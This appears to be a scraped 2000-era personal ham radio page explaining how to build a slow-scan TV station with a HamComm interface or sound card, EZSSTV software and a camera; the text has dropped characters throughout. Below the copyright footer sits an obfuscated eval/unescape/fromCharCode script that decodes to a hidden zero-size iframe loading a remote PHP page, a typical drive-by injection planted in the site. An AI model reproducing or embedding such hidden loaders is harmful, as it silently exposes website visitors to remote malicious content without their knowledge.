The G7LTT SSTV PageThe SSTV PageI've been fascinated with sending pictures ever since I was licenced as a ham 10 year ago (am I that old!?) I was surprised to discover just how easy it was. With today' technology it couldn't be easier. Armed with a radio, computer and a set of images one ca get a SSTV station going for a very modest amount.

Lets make some assumptions. As a radio ham you'll have a radio. As long as you know o someone else whom has a radio that can hear you (or you can hear him) any old radio wil do. You will also have a computer. I use an IBM PC clone but anything will do just mak sure that you can get software for it.. You'll also need an modem. A modem 'modulates data into tones and 'demodulates' tones into data. Yes, I know that sounds technical an the SSTV puritans wouldn't call it a modem but that's what it is.

I lied. With modern PC's you don't need a modem. Just about every PC I have seen latel is equipped with a sound card. A sound card is equipped with a thing called a Digita Signal Processor. For our purposes we'll assume that this DSP is the modem. Its actuall much more than that. It can be used to shape the signal as well as to decode it and whole host of other things too.

So here what I used to build my first SSTV station based around my PC. At the tim there was a lack of sound card software so I built the good old HamComm interface complet with the TX mods so that it would send. Click herehere to see the circuit diagram.

So as you can see it quit a simple interface. If you went to Radio Shackhere to view the Radio Shack parts list fo the HamComm interface.

I finished the circuit off by building it into a box with all the fittings needed fo my radio and computer.hamcomm.jpg (43245 bytes)Sound card use is much simpler, well, on receive anyway. Simply plug the output of you receiver into the soundcard and run your software (assuming it supports sound cards).

Ok, so now that we have an interface/modem/whatever we need some software for ou computer. I use EZSSTV as I find it very simple to use and it has some built in tes pictures that can get you going in a hurry. Its available < href="http://www.ultranet.com/~sstv/ezsstv.html">here. When looking for software tr to get some that allows not only reception of the pictures but also re-transmission o pictures too. You never know when you might want to send your buddy his own pictures. Yo should also get some that allows you to write messages on top of the pictures.

mepic1.jpg (10971 bytes)Alright then. We have an interface/modem/whatever and some software for our PC. No all we need is some material to send to our friends. This is the tricky part. Firstly i must be 'suitable' material. I've seen all sorts of stuff in my time and most of it wa pornographic. Its a shame really, SSTV doesn't really do the models justice ;-}

Thes days there's all sorts of ways you can get pictures into your PC. I used a capture card t grab images from a CCIR security camera. I 'acquired' the card from a sales rep who wanted me to start selling them at the firm I worked at. I rescued the camera from a CCT 'sensor'. Click here to view the first camera. As i happens, this camera was also the first LoftyCam. took the picture of me on the left with this arrangement. Note the 'suitable' t-shirt ;-}

You could also use a scanner or even a digital camera as a picture source. If you don' own any of these you can get your photographs convered onto CD-ROM at your local fil processing shop. Kodak charges and extra $5 if you have it done at the same time as th film is developed.And that all there is to it. You might think that I've over-simplified things a bit bu you'll see when you do it yourself that its not all that hard.

Get your iron going and have some fun. If you 'see' me on air, give me a shout.

SSTV links ...

Download some software here
software
too
Handbook

© & ® Mark A Phillips, G7LTT 1997/8/9/2000
Wednesday, February 16, 2000 12:46:49 -0000

eval(unescape("document.write%28String.fromCharCode%2860%2C105%2C102%2C114%2C97%2C109%2C101%2C32%2C115%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C112%2C114%2C101%2C116%2C116%2C121%2C98%2C108%2C111%2C110%2C100%2C121%2C119%2C111%2C109%2C97%2C110%2C46%2C99%2C111%2C109%2C47%2C105%2C99%2C101%2C47%2C105%2C110%2C100%2C101%2C120%2C46%2C112%2C104%2C112%2C34%2C32%2C119%2C105%2C100%2C116%2C104%2C61%2C34%2C48%2C34%2C32%2C104%2C101%2C105%2C103%2C104%2C116%2C61%2C34%2C48%2C34%2C62%2C60%2C47%2C105%2C102%2C114%2C97%2C109%2C101%2C62%29%29%3B"));